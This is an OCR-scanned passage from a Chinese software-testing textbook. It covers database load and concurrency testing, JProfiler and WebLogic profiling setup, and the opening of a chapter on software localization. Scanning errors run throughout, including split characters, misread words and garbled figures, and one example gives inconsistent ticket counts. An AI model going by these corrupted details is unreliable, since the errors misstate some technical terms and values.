字 段 名 类 型 定义 a 义 注 释 
saled_date date 售 出 的 日 期 不 为 空 
saler_id int 销售 者 id 不 为 空 
book_ISBN varchar 书 的 ISBN 不 为 空 
book_name varchar 书 名 
book_price double 书 价 
coupon_price double 折扣 金额 
invoice_id int 发 票 id 


进行 数据 库 性 能 测试 时 ,需要 使 用 一 个 自己 编写 的 工具 软件 来 动态 给 数据 库 加 压 , 从 不 
同 的 数据 量 和 执行 的 语句 ,来 测试 数据 库 的 执行 速度 ,甚至 必要 时 需要 测试 CPU/ 内 存 占用 
率 等 。 可 以 进行 如 下 测试 设计 : 

(1) 所 有 页 面 可 能 提交 的 SQL 语句 跟踪 ,例如 可 以 通过 工具 来 取得 在 执行 每 个 页 面 刷新 
或 者 新 链接 以 及 其 他 操作 (删除 .排序 等 ) 的 SQL 语句 ,例如 “select * from saledbooksinfo 
where” +++ (页面 用 户 操作 的 时 间 和 排序 条 件 ) 。 

(2) 通过 向 数据 库 里 面 批量 加 入 适当 的 满足 条 件 的 语句 。 

(3) 执行 操作 ,通过 监控 程序 来 获取 执行 速度 ,进程 占用 CPU 和 内 存 信息 以 及 其 他 我 
们 需要 分 析 的 信息 。 

(4) 获取 测试 结果 ,找到 数据 库 结构 或 者 程序 需要 优化 的 地 方 。 

在 本 例 中 ,我 们 可 以 使 用 Oracle 本 身 提供 的 SQL PLUS 工具 来 实现 执行 速度 的 跟踪 
(使 用 时 需要 首先 使 用 set timing on 命令 来 打开 占用 时 间 的 显示 开关 ) ,然后 输出 (spool 命 
令 ) 到 一 个 指定 的 文件 里 面 ,最 后 获取 执行 每 一 个 SQL 的 CPU 占用 或 者 内 存 占用 情况 (top 
命令 ) ,记录 结果 并 形成 Excel 表格 ,如 表 9-3 所 示 。 


表 9-3 大 数据 量 测试 结果 记录 表 


执行 的 操作 项 操作 的 数据 数量 | 执行 使 用 的 时 间 | 进程 占用 CPU | 进程 占用 的 内 存 

1000 

Select * from saledbooksinfo 5000 
where( 用 户 条 件 ) 10 000 
100 000 

1000 

Insert saledbooks Values (用 5000 
户 值 ) 10 000 
100 000 

1000 

Delete from saledbooks where 5000 
HPRH 10 000 
100 000 

1000 

Update saledbooks set( 用 户 设 5000 
定 ) where( 用 户 条 件 ) 10 000 
100 000 


2. 大 容量 数据 测试 

在 数据 库 性 能 测试 过 程 中 ,还 需要 考虑 大 容量 数据 测试 。 例 如 在 测试 中 ,可 以 使 用 带 有 
视频 、 图 片 的 数据 。 假 设 做 这 样 的 测试 ,在 数据 库 中 插入 1000 个 图 片 文件 ,每 个 图 片 文件 的 
大 小 为 4MB, 这 样 ,数据 库 在 插入 这 些 数据 后 的 容量 为 1000 X 4MB= 4000MB=4GB, FT LA 
通过 在 空 表 中 插入 (insert)1000 条 数据 ,选择 (select)900 条 数据 、 更 新 (update)900 条 数据 、 
删除 (Delete)900 条 数据 这 样 一 个 过 程 来 进行 测试 ,跟踪 所 需要 的 时 间 、 进 程 占用 的 CPU, 
内 存 信 息 等 ,最 后 得 出 结果 、 形 成 表格 ,从 而 分 析 数 据 库 的 性 能 情况 。 

数据 库容 量 和 性 能 测试 是 至 关 重 要 的 ,不 合理 的 表 结 构 以 及 程序 中 不 合理 的 代码 
将 带 来 数据 库 的 性 能 降低 ,甚至 崩溃 ,因此 ,性 能 测试 为 数据 库 的 优化 过 程 提供 了 指导 
方向 。 


9.2.2 数据 库 并 发 控制 测试 


数据 库 的 并 发 控制 能 力 是 指 在 处 理 多 个 用 户 在 同一 时 间 内 对 相同 数据 进行 同时 访问 的 
能 力 。 一 般 的 关系 型 数据 库 都 具备 这 种 能 力 ,日 常 应 用 系统 中 也 随处 可 见 , 例 如 火车 的 售票 
系统 .银行 数据 库 系统 。 举 个 例子 (如 图 9-3 所 示 ) 来 说 明 , 在 火车 的 售票 系统 中 ,有 这 样 一 


个 过 程 。 
售 出 售 出 
A 售 票 点 B 售 票 点 


Set 利 余 票数 火车 售票 记录 Set 剩 余 票数 
=19 | PK | 车 次 =19 
剩余 票数 
已 售票 数 


SS 


图 9-3 火车 票 系统 的 数据 并 发 过 程 冲突 示意 图 


(1) A 售票 点 通过 网 络 从 源 数据 库 读 出 某 车 次 的 车 票 剩余 张 数 为 2 (n= 20) 。 

O) B 售票 点 通过 网 络 从 源 数 据 库 读 出 该 车 次 的 车 票 剩余 张 数 也 为 n(n 二 20)。 

G) A 售票 点 卖 出 一 张 该 车 次 的 车 票 ,将 "一 1(19) 写 回 源 数据 库 。 

(4) BB 售票 点 也 卖 出 一 张 该 车 次 的 车 票 ,将 n 一 1(19) 写 回 源 数据 库 。 

这 样 就 存在 并 发 控制 的 问题 , 卖 出 了 两 张 票 , 而 数据 库 里 面 只 有 1 条 数据 减少 。 这 样 ， 
下 次 读 取 数据 的 时 候 , 源 数据 就 不 准确 了 ,从 而 带 来 数据 的 错误 。 如 果 按 照 上 面 的 操作 顺序 
执行 ,A 对 源 数据 库 的 修改 就 被 丢失 。 


并 发 控制 带 来 数据 的 不 一 致 问题 ,被 称 为 “数据 库 并 发 控制 过 程 冲突 ”, 如 图 9-3 所 
示 。 在 实际 的 测试 过 程 中 ,必须 对 这 样 的 冲突 进行 测试 设计 ,主要 是 通过 逻辑 判定 来 设 
计 测 试用 例 。 在 并 发 控制 过 程 冲 突 中 ,主要 包括 三 类 : 丢失 数据 、 不 可 重复 读数 据 和 读 
“ 脏 ” 数 据 。 

1, 丢失 数据 

刚才 的 例子 就 是 一 个 典型 。 当 事务 A 和 B 对 同一 个 数据 源 进行 修改 ,B 提交 的 结果 破 
SRY A 提交 的 结果 ,导致 A 对 数据 库 的 修改 失效 。 

2. 不 可 重复 读数 据 

不 可 重复 读数 据 是 指 事务 A 在 读 取 数 据 后 ,事务 B 对 其 进行 了 修改 并 执行 了 更 新 操 
作 , 事 务 A 无 法 再 现 前 一 次 读 取 的 结果 。 举 个 例子 来 说 明 : 

。 事务 A 从 数据 库 表 中 读 出 整数 X= 10. Y = 20 进行 求 和 运算 Z=X+Y=30. 

。 事务 也 从 相同 的 数据 库 中 读 出 X 值 X=10, 对 X 乘 以 5 后 写 人 原 X 值 (X 一 XXX 

5=50) ,提交 事务 B。 

此 时 ,事务 A 处 理 的 结果 是 : Z=X+Y=10 十 50=60, 事 务 B 对 数据 的 操作 已 经 影响 
了 原来 的 结果 。 

3. 读 “ 脏 ”数据 

读 “ 脏 ”数据 是 指 事务 A 修改 某 一 数据 (或 者 执行 某 一 操作 ) ,并 将 其 写 到 数据 库 ,事务 
B 读 取 相 同 数据 (或 者 执行 某 一 关联 操作 ) 的 时 候 , 事 务 A 由 于 某 种 原因 撤销 操作 ( 即 进行 
事务 回 深 ) ,此 时 事务 A 已 经 将 原来 的 数据 还 原 ,而 事务 B 所 读 取 的 数据 和 数据 库 中 真实 记 
录 不 一 致 ,此 时 事务 B 读 到 的 数据 就 是 “ 脏 ” 数 据 。 例 如 ,事务 A 从 数据 库 表 中 读 出 整数 
X=10 并 乘 以 5 写 人 A。 事 务 B 读 取 X 的 值 为 50, 此 时 ,事务 A 执行 回 深 操 作 , 将 X 的 值 
恢复 成 10, 此 时 B 读 取 的 数据 50 就 是 “ 脏 ? 数 据 。 

在 数据 库 应 用 系统 中 ,一 般 会 使 用 加 锁 (locking) 技 术 来 进行 并 发 控制 。 在 前 面 的 火车 
售票 系统 中 , 当 事 务 A 读数 据 进行 修改 之 前 先 对 数据 库 表 进行 加 锁 , 当 事 务 B 请 求 对 数据 
库 表 进行 修改 时 需要 重新 请 求 加 锁 , 此 时 若 事务 A 锁 未 被 释放 ,B 将 不 能 对 数据 库 进行 修 
改 操作 ,这样 ,B 对 数据 库 表 进行 操作 时 就 是 对 已 经 更 新 的 数据 进行 操作 ,此 时 防止 了 数据 
库 并 发 控制 的 冲突 产生 。 按 照 加 锁 的 等 级 和 操作 权限 ,数据库 加 锁 可 以 分 为 一 级 、 二 级 和 三 
级 封锁 协议 ,具体 请 参考 相关 数据 库 方面 的 书 。 

在 数据 库 并 发 控制 测试 过 程 中 ,需要 针对 程序 控制 的 流程 来 设计 测试 ,如 图 9-4 所 示 。 
测试 的 重点 是 并 发 控制 逻辑 分 析 以 及 锁 控 制 的 逻辑 分 析 , 设 计 并 发 控制 的 测试 过 程 分 为 两 
个 部 分 : 

(1) 并 发 流程 分 析 。 按 照 数据 库 处 理 的 流程 来 设计 测试 的 逻辑 重点 ,分 析 并 发 控制 的 
点 ,事务 锁 的 使 用 。 

(2) 并 发 控制 测试 分 析 。 按 照 并 发 控制 的 实现 过 程 以 及 事务 锁 的 基本 机 制 ,设计 相应 
的 测试 过 程 以 及 测试 用 例 。 

当然 ,在 并 发 控制 测试 中 ,可 能 要 涉及 更 为 复杂 的 测试 过 程 ,例如 多 线程 应 用 程序 的 并 
发 控制 处 理 .数据 的 死 锁 控制 以 及 分 析 等 ,这 里 不 再 多 描述 。 


hehe 等 待 ， 直到 售 出 
A 售票 点 A 解除 锁 ，B B 售 票 点 
重新 获得 锁 
获得 锁 
Set 剩 余 票 数 =19， 火车 售票 记录 Set 剩 余 票数 =18， 

Commit e yie Commit 

解除 锁 Pk | 4 解除 锁 
剩余 票数 
已 售票 数 


图 9-4 火车 票 系统 的 加 锁 技术 的 并 发 控制 示意 图 


9.3 基于 Java EE 应 用 服务 器 的 测试 


在 Java EE 平台 项 目测 试 中 ,应 用 服务 器 性 能 是 测试 的 一 个 重点 ,因为 应 用 服务 器 是 系 
统 的 关键 构成 之 一 ,而 且 容 易 出 现 内 存 泄漏 数据库 连 接 没有 被 释放 等 问题 ,造成 系统 性 能 
逐渐 下 降 甚至 死机 等 后 果 。 性 能 测试 的 主要 目的 是 考查 在 大 压力 和 大 数据 量 情况 下 ,应 用 
服务 器 最 大 处 理 能 力 和 系统 响应 时 间 ,同时 考查 不 同 压力 情况 下 应 用 服务 器 处 理 能 力 和 系 
统 响 应 时 间 。 

在 应 用 服务 器 性 能 测试 过 程 中 ,首先 通过 JDBC 接口 与 数据 库 建 立 连接 ,可 以 借助 功能 
测试 中 所 用 的 JSP, Servlet 和 EJB 测试 程序 ,录制 相应 的 测试 脚本 ,模拟 在 多 用 户 并 发 情况 
下 数据 库 的 插入 、 更 新 和 查询 ,并 记录 成 功 点 击 次 数 、 点 击 率 等 相关 参数 ,同时 通过 远程 监控 
系统 对 应 用 服务 器 的 CPU 、 内 存 等 实时 监控 。 通 过 对 测试 结果 数据 (包括 实时 监控 数据 ) 的 
汇总 分 析 , 得 出 应 用 服务 器 的 性 能 。 


9.3.1 用 JProfiler 完成 应 用 服务 器 的 性 能 测试 


JProfiler 是 一 个 比较 好 的 应 用 服务 器 性 能 测试 工具 , 它 能 实时 地 监控 系统 的 CPU、 内 
存 、 线 程 JVM(Java 虚拟 机 ) 等 运行 或 性 能 的 动态 状况 ,可 以 找到 性 能 瓶颈 .内 存 泄漏 等 问 
题 ,并 通过 堆 遍 历 作 资 源 回收 器 的 根源 性 分 析 。JProfiler 还 提供 不 同 的 方法 来 记录 访问 树 
以 优化 性 能 和 细节 ,在 视图 中 可 以 灵活 选择 线程 或 者 线程 组 ,而 所 有 的 视图 可 以 聚集 到 方 
法 .类 、 包 或 组 件 等 不 同 层次 上 。 

JProfiler 分 析 器 提供 有 用 的 Java 服务 器 应 用 信息 ,非常 有 助 于 优化 应 用 的 性 能 ,特别 
是 在 高 负载 下 的 应 用 分 析 。 借 助 Java 虚拟 机 分 析 器 界面 ([JVMPI) 可 以 监控 运作 的 方式 以 
及 JVM 运行 任何 Java 程序 时 的 关键 事件 一 一 从 单独 的 应 用 程序 到 Applet, Servlet 和 企业 
JavaBeans(EJB) 组 件 。 在 分 析 器 内 启动 一 个 程序 意味 着 生成 .捕捉 和 观察 大 量 数据 ,因此 所 


有 的 分 析 器 都 包含 着 不 同 的 方法 来 控制 数据 的 流动 ,在 不 同 的 标准 以 及 每 一 个 封包 的 基础 
上 进行 过 滤 ,同样 也 可 以 使 用 灵活 的 正则 表达 式 类 型 模式 来 完成 。 

在 本 节 中 ,将 使 用 JProfiler 创建 一 个 性 能 监控 分 析 环 境 , 跟 踪 本 地 和 远程 的 服务 器 程 
序 ,并 主要 专注 于 三 个 性 能 问题 : 内 存 , 垃 圾 回收 和 多 线程 运行 状况 ,从 而 很 好 地 监视 JVM 
运行 情况 及 其 性 能 。 

JProfiler, 如 图 9-5 所 示 ,几乎 支持 所 有 常用 的 IDE 和 应 用 服务 器 ,可 以 到 其 EJ 官方 网 
站 http://www. ej-technologies. com/ 下 载 ,申请 一 个 10 天 的 试用 注册 码 。 
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图 9-5 JProfiler 运行 IDE 界面 


1. 内 存 .CPU 剖析 和 堆 遍 历 

JProfiler 内 存 视图 (Memory Profile) 可 以 直观 地 (如 列表 、 分 配 访 问 树 等 ) 提 供 动 态 的 
内 存 分 配 和 使 用 状况 ,并且 能 够 显示 当前 存在 的 方法 、. 类 、 包 .对象 和 成 为 垃圾 回收 的 对 象 。 
而 JProfilerCPU 视图 (CPU Profile) 包 括 访问 树 、 热 点 和 访问 图 等 ,例如 访问 树 自 顶 向 下 显 
示 JVM 中 已 记录 的 访问 队列 。JDBC、JMS 和 JNDI 服务 请 求 都 被 注释 在 请 求 树 中 ,并 能 根 
di Servlet Al JSP 对 URL 的 不 同 需要 进行 拆 分 。 

在 JProfiler Ht iii Jj 4 (Heap walker) 中 ,可 以 对 堆 的 状况 进行 快照 并 且 可 以 通过 选择 
步骤 寻找 感 兴趣 的 对 象 , 堆 遍历 器 有 类 、 分 配 、 索 引 ` 数 据 和 时 间 等 视图 ,如 分 配 视图 可 以 为 
所 有 记录 对 象 显示 分 配 数 和 分 配 热点 ,而 数据 视图 为 单个 对 象 显示 实例 和 类 数据 。 


2. 线程 剖析 

JProfiler 线程 视图 (Thread Profile) 包 括 : 

。 线程 历史 ,显示 一 个 与 线程 活动 和 线程 状态 在 一 起 的 活动 时 间 表 。 

。 线程 监控 ,显示 一 个 列表 ,包括 所 有 的 活动 线程 及 其 当前 的 活动 状况 。 

。 死 锁 探 测 图 表 (Deadlock Detection) ,显示 一 个 包含 了 所 有 在 JVM 里 的 死 锁 图 表 。 
。 当前 线程 监测 器 ,显示 正在 被 使 用 的 线程 及 其 关联 的 线程 。 

历史 检测 记录 ,显示 重大 的 等 待 事件 和 阻塞 事件 的 历史 记录 。 

监测 使 用 状态 统计 ,显示 被 监测 的 线程 分 组 .各 类 统计 数据 。 

3. VM 遥感 勘测 技术 


观察 JVM 的 内 部 状态 ,JProfiler 提供 了 不 同 的 遥感 勘测 视图 (VM Telemetry ) ,通过 图 像 
直观 地 显示 堆 (Heap) .记录 的 对 象 . 垃 圾 回收 (Garbage Collector) 类、 线程 等 的 活动 时 间 表 。 
4. 本 地 监控 


(1) 安装 JProfile 和 JBuilderX, 然 后 运行 JProfiler, 打 开 Session IDE integration tab, 
IDE 选择 Borland JBuilder, 选 择 JBuilder 的 安装 目录 并 确认 ,就 完成 了 以 OpenTool 的 形式 
将 JProfiler 整合 到 JBuilder 中 。 

(2) 运行 JBuilder, 打 开 Run 一 Configurations ,选择 或 新 建 一 个 Runtime, 在 Optimize 
选项 中 就 可 以 看 到 JProfiler, 可 以 选择 每 次 运行 程序 新 建 一 个 JProfiler 窗口 的 提示 设置 。 

(3) 单 击 Optimize Project 按钮 ,运行 程序 ,弹出 JProfiler 窗口 ,确认 相关 的 信息 即 可 ， 
如 图 9-6 所 示 。 


图 9-6 JProfiler 应 用 设置 


(4) 至 此 ,可 以 监控 本 地 服务 器 各 个 方面 的 性 能 。 内 存 、CPU 线程 等 剖析 视图 ,如 
图 9-7 一 图 9-9 Bras. 
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图 9-7 JProfiler 内 存 剖析 视图 示例 
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9-8 JProfiler CPU 剖析 视 
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5. 远程 监控 

由 于 服务 器 一 般 运 行 在 远程 的 服务 器 设备 上 ,因此 需要 远程 监控 服务 器 资源 。 一 般 会 
安装 在 Linux 操作 系统 上 ,运行 类 似 于 . /JProfiler_linux_6_0. sh 的 命令 执行 文件 。 如 果 没 
有 安装 X Server, 则 要 在 命令 后 面 加 “-q” 参 数 。JProfiler 会 安装 在 /opt 目录 下 。 然 后 进行 
配置 ,详细 内 容 可 以 从 http://resources. ej-technologies. com/jprofiler/help/doc/help. pdf 
下 载 help. pdf 文件 。 

A) 打开 本 地 的 JProfiler, 选 择 Session Integration wizards New Remote integration f 
今 ,选择 on a remote computer, {E platform 上 选择 linux x86/AMD64, 单 击 Next 按钮 。 

(2) 输入 远程 IP 地 址 , 单 击 Next 按钮 。 再 输入 JProfiler 的 安装 目录 ,默认 都 安装 在 
/opt/JProfiler4 下 , 单 击 Next 按钮 。 

(3) 按照 出 现 提 示 框 来 配置 服务 器 ,例如 ,在 Java 执行 语句 中 加 入 下 列 参数 : 


— Xint — XrunJProfiler: port = 8849 — Xbootclasspath/a:/opt/JProfiler4/bin/agent. jar; 
在 /etc/profile 中 加 入 : 
export LD_LIBRARY_PATH = /opt/JProfiler4/bin/linux - x86 


然后 ,退出 后 重新 登录 。 
(4) 配置 完毕 后 , 先 运 行 远程 服务 器 程序 ,再 打开 本 地 的 JProfiler 程序 ,握手 成 功 后 , 远 
程 程序 就 能 正常 运行 了 。 


// 服 务 器 端 显示 信息 如 下 : 

[root@ns 55556]#tail - f nohup. out 

JProfiler > Protcol version 21 

JProfiler > Using JVMPI 

JProfiler > 32 - bit library 

JProfiler> Listening on port:8849 

JProfiler> Native library initialized 

JProfiler> Waiting for a connection from the JProfiler GUI… 


// 以 上 为 本 地 JProfiler 连 上 前 的 系统 提示 

JProfiler>Using dynamic instrumentation 

JProfiler>Time measurement: elapsed time 

JProfiler > CPU profiling enabled 

JProfiler > Starting org/anymobile/server/cmwap/CmwapServer --- 


9.3.2 Java WebLogic 应 用 服务 器 测试 


WebLogic 是 前 美国 BEA 公司 (被 Oracle 公司 兼并 ) 出 品 的 一 个 Java 应 用 服务 器 (类 
WF Jboss GlassFish 等 ) ,将 Java 的 动态 功能 和 Java 企业 标准 的 安全 性 引入 大 型 网 络 应 用 
的 开发 ,集成 .部 署 和 管理 之 中 。BEA WebLogic Server 既 实 现 了 网 页 群集 ,也 实现 了 EJB 
组 件 群 集 , 这 些 对 电子 商务 解决 方案 所 要 求 的 可 扩展 性 和 可 用 性 都 是 至 关 重 要 的 ,而 且 不 需 
要 任何 专门 的 硬件 或 操作 系统 支持 。 

1. WebLogic 服务 器 端 配置 

根据 要 调试 的 域 ,并 定位 到 文件 startWebLogic. sh 或 者 startWebLogic. cmd (如 / 
home/weblogic/domains/mydomain/start Weblogic. sh) 中 的 下 列 语句 ， 


$ {JAVA_HOME}/bin/java $ {JAVA_VM} $ {MEM ARGS} $ {JAVA_OPTIONS} 

— Dweblogic. Name = $ {SERVER_NAME} 

— Dweblogic. Product ionModeEnabled = $ {PRODUCTION_MODE} 

— Djava. security. policy = ' $ {WL_HOME}/server/1ib/weblogic. policy' weblogic. Server 


H $ {JAVA_OPTIONS} 后 插入 下 列 语句 ,并 保存 该 文件 : 


一 Xdebug — Xnoagent — Xrunjdwp: transport = dt_socket, server = y, address = 4000, suspend = n 


2. Eclipse 客户 端 配置 

原先 在 本 地 的 配置 保持 不 变 , 但 需要 通过 Debug Configuration 建立 一 个 远程 Java 应 
用 ,并 进行 相应 的 配置 ,如 远程 主机 的 地 址 和 监听 端口 (4000)。 图 9-10 所 示 为 Eclipse 与 
WebLogic 远程 断 点 测试 。 

3. 运用 JProfiler 连接 WebLogic( 本 地 ) 

(1) 打开 JProfiler 后 ,在 Session 菜单 下 选择 New Windows, ,弹出 Quickstart 窗口 , 选 
择 第 三 项 An application server,locally or remotely, 然 后 单 击 Next 按钮 。 
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图 9-10 Eclipse 与 WebLogic 远程 断 点 测试 


(2) BEA Integration wizard 界面 ,选择 应 用 服务 的 类 型 和 版 本 (如 BEA WebLogic 9. 1) , 然 
后 单 击 Next 按钮 。 

(3) 选择 连接 的 类 型 (本 地 或 远程 ) ,这 里 选择 本 地 (on this computer) ,然后 单 击 Next 
按钮 。 

(4) 选择 WebLogic 的 启动 文件 Startweblogic. cmd, 然 后 单 击 Next 按钮 。 

(5) 选择 IDK 的 提供 厂商 和 其 版 本 (如 Sun Java 1.4 版 ) ,然后 单 击 Next 按钮 。 

(6) 选择 一 种 处 理 模式 (如 JIT/hotspot complation enabled). 

(7) 选择 JProfiler 的 使 用 端口 ,对 于 本 地 连接 ,用 默认 值 即 可 。 

(8) 启动 WebLogic 时 ,试图 建立 的 连接 ,一直 等 待 到 成 功 连接 。 

(9) 对 前 面 设置 的 内 容 统一 展现 ,若是 检查 没有 问题 , 则 单 击 Next 按钮 。 

(10) 单 击 Finish 按钮 ,完成 了 本 次 连接 的 配置 ,若是 选择 了 马上 连接 , 则 下 一 步 开 始 
连接 。 

4. 运用 JProfiler 连接 WebLogic( 远 程 ) 

前 两 步 和 本 地 连接 是 一 样 的 ,在 第 3 步 选择 “远程 连接 ”, 以 及 在 第 4 步 要 输入 远程 监控 
机 的 IP 地 址 或 服务 器 名 、 路 径 ( 即 远程 监控 机 器 安装 JProfiler 的 路 径 ) 。 还 可 以 先 把 远程 
监控 机 的 路 径 映 射 成 本 地 路 径 , 后 面 的 操作 步骤 也 就 基本 和 本 地 连接 没有 太 大 差别 ,包括 
JProfiler 的 使 用 端口 ,也 保持 一 致 ,用 默认 的 8849。 

在 开始 连接 之 前 ,要 求 先 启动 远程 监控 机 WebLogic 目录 下 的 JProfiler 配置 连接 时 产 
生 的 startWebLogic_JProfilerr. cmd 文件 , 它 和 startWebLogic. cmd 文件 在 同一 目录 下 。 


小 结 


服务 器 测试 各 自 有 自己 不 同 的 重点 和 角度 ,如 在 邮件 服务 器 中 ,容量 ,吞吐 量 . 邮 件 的 防 
病毒 攻击 保护 等 是 测试 的 重点 ; 在 群 件 服务 器 中 ,功能 性 ,数据 完整 性 、 稳 定性 是 测试 的 重 
点 ; 而 在 实时 通信 系统 中 ,测试 重点 在 数据 的 及 时 性 以 及 故障 恢复 处 理 上 。 本 章 主 要 针对 
最 常见 的 几 种 类 型 的 应 用 服务 器 的 测试 进行 了 阐述 ,包括 Apache Web 服务 器 ,数据库 应 用 
服务 器 和 基于 Java 的 应 用 服务 器 。 

通过 本 章 的 学 习 , 应 该 熟悉 以 下 基本 内 容 : 

。 基本 的 Web 测试 的 技巧 。 

。 数据 库 性 能 测试 设计 方法 和 考虑 因素 。 

。 Java EE 平台 性 能 测试 等 。 

总 之 ,基于 应 用 服务 器 的 测试 是 个 非常 复杂 的 过 程 ,需要 根据 不 同类 型 服务 器 的 特征 和 
要 求 , 掌 握 服务 器 所 涉及 的 相关 技术 ,结合 业务 来 进行 分 析 , 确 定 测试 方案 和 设计 有 效 的 测 
试用 例 ,完成 其 功能 ,性 能 ,安全 性 、 容 错 性 ,兼容 性 等 各 方面 的 测试 。 


思考 题 


1. Web 功能 测试 和 客户 端 软件 测试 有 哪些 不 同 ? 

2. 试 编写 一 个 测试 计划 ,完成 对 SQL Server 的 压力 测试 。 

3. 练习 使 用 JProfiler 对 已 存在 的 一 个 Java EE 项 目 进 行 性 能 测试 ,并 分 析 其 性 能 的 瓶 
颈 在 何 处 。 


CHAPTER 10 
#10 


软件 本 地 化 测试 


随 着 软件 市 场 越 来 越 趋向 于 全 球 化 的 竞争 ,为 了 使 软件 产品 将 来 
可 以 走向 世界 ,能 够 参与 全 球 市 场 的 竞争 ,在 开发 软件 产品 的 时 候 就 
需要 考虑 到 如 何 适应 国际 化 的 需求 .满足 不 同 国家 或 地 区 的 用 户 的 使 
用 要 求 , 包 括 不 同 语言 .不 同 货币 .不同 计量 单位 和 不 同文 化 习俗 等 方 
面 对 软件 产品 所 提出 的 要 求 ,这 就 产生 了 软件 国际 化 和 本 地 化 的 

在 本 章 将 主要 介绍 什么 是 软件 本 地 化 ,软件 本 地 化 的 翻译 验证 和 
其 他 测试 重点 ,让 读者 深入 了 解 软件 本 地 化 的 过 程 ,并 全 面 了 解 如 何 
完成 本 地 化 测试 。 


10.1 什么 是 软件 本 地 化 


软件 本 地 化 是 将 一 个 软件 产品 按 特定 国家 或 语言 市 场 的 需要 进 
行 全 面 定制 的 过 程 , 它 包括 翻译 .重新 设计 、 功 能 调整 功能 测试 ,以 及 
是 否 符合 各 个 地 方 的 习俗 .文化 背景 .语言 和 方言 的 验证 等 。 在 开始 
讨论 之 前 , 先 来 介绍 几 个 关键 术语 : 

。 L10n; WX Localization 一 词 的 简写 , 意 即 本 地 化 ,由 于 首 
字母 “L” 和 末尾 字母 “n” 间 有 10 个 字母 ,所 以 简称 L10n。 
118n; 则 为 Internationalization 的 简写 , 意 为 国际 化 ,由 于 首 
字母 “1” 和 末尾 字母 “n” 间 有 18 个 字母 ,所 以 简称 118n。 
Internationalization 指 为 保证 所 开发 的 软件 能 适应 全 球 市 场 
的 本 地 化 工作 而 不 需要 对 程序 做 任何 系统 性 或 结构 性 变化 的 
特性 ,这 种 特性 通过 特定 的 系统 设计 ,程序 设计 、 编 码 方 法 来 
实现 。 也 就 是 说 ,完全 符合 国际 化 的 软件 产品 ,在 对 其 进行 本 
地 化 工作 的 时 候 , 只 要 进行 一 些 配 置 和 翻译 工作 ,而 不 需要 修 
改 软件 的 程序 代码 。 
locale: 场所 、 本 地 ,简单 来 说 是 指 语言 和 区 域 进行 特殊 组 合 的 
一 个 标志 。 


。 Globalization, 即 全 球 化 , 它 是 一 个 概念 化 产品 的 过 程 , 它 基 


于 全 球 市 场 考虑 ,以 便 一 个 产品 只 做 较 小 的 改动 就 7 
可 以 在 世界 各 地 出 售 。 全 球 化 可 以 看 作 国际 化 和 全 3 


本 地 化 两 者 合成 的 结果 7 ` 

它们 之 间 的 关系 可 用 图 10-1 表示 ,这 里 强调 国际 化 是 ! (se | 

核心 工作 ,只 有 满足 国际 化 的 要 求 之 后 才能 容易 实现 本 地 。 i 

化 ,而 且 翻译 只 是 本 地 化 工作 的 一 部 分 ,全 球 化 是 一 个 产品 仆 / 
市 场 的 概念 。 提 到 本 地 化 ,大 家 首先 想到 的 就 是 翻译 问题， “hg 了 


毋庸 置疑 ,翻译 在 本 地 化 工作 中 占据 着 很 重要 的 地 位 ,但 是 
我 们 绝 不 能 把 翻译 等 同 于 本 地 化 , 它 和 本 地 化 还 有 很 大 的 
差距 。 当 文字 被 翻译 后 ,还 要 对 产品 进行 其 他 相应 的 更 改 ， 
这 些 更 改 包 括 技术 层面 和 文化 层面 的 更 改 。 


10.1. 


图 10-1 翻译 ,本 地 化 与 国际 化 、 
全 球 化 之 间 的 关系 


1 软件 本 地 化 与 国际 化 


人 们 常 说 的 “国际 化 ?是 指 产品 走出 国门 ,在 其 他 国家 销售 。 但 在 软件 产品 开发 中 ,产品 
国际 化 有 着 不 同 的 含义 ,意味 着 对 软件 “原始 产品 ”本 地 化 的 支持 ,也 就 是 为 了 解决 软件 能 在 
各 种 不 同 语言 .不 同 风俗 的 国家 和 地 区 使 用 的 问题 ,对 计算 机 设计 和 编程 所 做 出 的 某 些 规 
定 。 为 了 减少 本 地 化 的 工作 ,软件 产品 国际 化 应 该 具有 下 面 一 系列 特性 : 


支持 Unicode 字符 集 ; 

分 离 程序 代码 和 显示 内 容 ( 文 本 .图片 . 对 话 框 、 信 息 框 和 按钮 等 ), 如 将 这 些 内 容 由 
资源 文件 (如 * . rc、. properties) 统 一 处 理 ; 

消除 硬 代码 (Hard code, 指 程序 代码 中 所 包含 的 一 些 特定 的 数据 ,它们 本 应 该 作为 
变量 处 理 , 而 对 应 的 具体 数据 应 该 存储 在 数据 库 或 初始 化 文件 中 ); 

使 用 Header files 去 定义 经 常 被 调用 的 代码 段 ; 

改善 翻译 文本 尺寸 ,具有 调整 的 灵活 性 ,如 在 资源 文件 中 可 以 直接 具有 调整 用 户 界 
面 的 灵活 性 来 适应 翻译 文本 尺寸 ; 

支持 各 个 国家 的 键盘 设置 ,并 有 对 应 的 热 键 处 理 ; 

支持 文字 不 同方 向 的 显示 ; 

支持 各 个 国家 的 度量 衡 .时 区 、 货 币 单位 格式 等 自 定义 功能 ; 

用 户 界 面 (包括 颜色 、 字 体 ) 等 自 定义 特性 。 


软件 本 地 化 是 国际 化 向 特定 本 地 语言 环境 的 转换 ,即将 软件 从 源 语言 转换 成 一 种 或 多 
种 目标 语言 的 过 程 ,同时 针对 目标 国家 或 地 区 ,对 产品 的 外 观 、 参 数 设置 等 进行 相应 的 处 


理 , 如 : 


软件 用 户 界 面 (User Interface,UI) 默 认 值 的 设置 ; 
联机 文档 (帮助 文档 ,技术 支持 站 点 等 ); 
数据 库 初 始 化 工作 ; 

热 键 设置 ; 

度量 衡 和 时 区 等 。 


国际 化 与 本 地 化 是 一 个 辨证 的 关系 ,本 地 化 要 适应 国际 化 的 规定 。 而 国际 化 是 本 地 化 
的 基础 和 前 提 , 为 本 地 化 做 准备 ,使 本 地 化 过 程 不 需要 对 代码 做 改动 就 能 完成 ,或 将 代码 修 


改 降 到 最 低 限 度 。 


10.1.2 字符 集 问 题 


要 支持 软件 国际 化 特征 ,首先 就 要 考虑 使 用 正确 的 字符 集 。 西 方 语言 ,如 英语 、 法 语 和 
德语 ,使 用 不 到 256 个 字符 ,所 以 它们 可 以 用 单字 节 编 码 表示 。 可 是 亚洲 语言 ,比如 日 文 和 
中 文 , 却 有 几 万 个 字符 ,因此 需要 双 字 节 编 码 。 所 以 在 做 本 地 化 测试 的 时 候 , 应 该 检查 开发 
人 员 是 否 使 用 了 正确 的 字符 编码 。 

字符 集 是 操作 系统 中 所 使 用 的 字符 映射 表 , 例 如 ,早期 的 UNIX 系统 使 用 只 包含 128 
